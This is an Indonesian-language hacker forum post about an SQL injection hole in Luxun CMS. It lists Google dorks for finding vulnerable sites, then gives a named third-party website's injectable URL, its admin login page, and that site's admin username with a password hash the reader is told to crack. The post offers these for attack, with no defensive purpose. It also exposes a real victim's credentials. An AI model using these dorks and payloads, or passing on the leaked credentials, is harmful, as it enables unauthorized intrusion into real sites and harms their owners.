Luxun CMS SQL Injection Vuln

Hello coy ,

udeh lama kgk nge post , hehheh :D

nemu nih dari Blog nya Kang Sutul , heheh :D

langsung aja yah

google dork :
- "powered by luxun"
- inurl:product.php?classid=
- inurl:news.php?classid=


- inurl:service.php?classid=
dan masih banyak lagi :p

yg udah jadi :

http://www.chenhe.cn/product.php?classid='29
http://www.chenhe.cn/admin/
Username : admin
password : 96e79218965eb72c92a549dd5a330112 ( crack sendiri )

thanks to: hacker-newbie , 1337day, Kang Sutul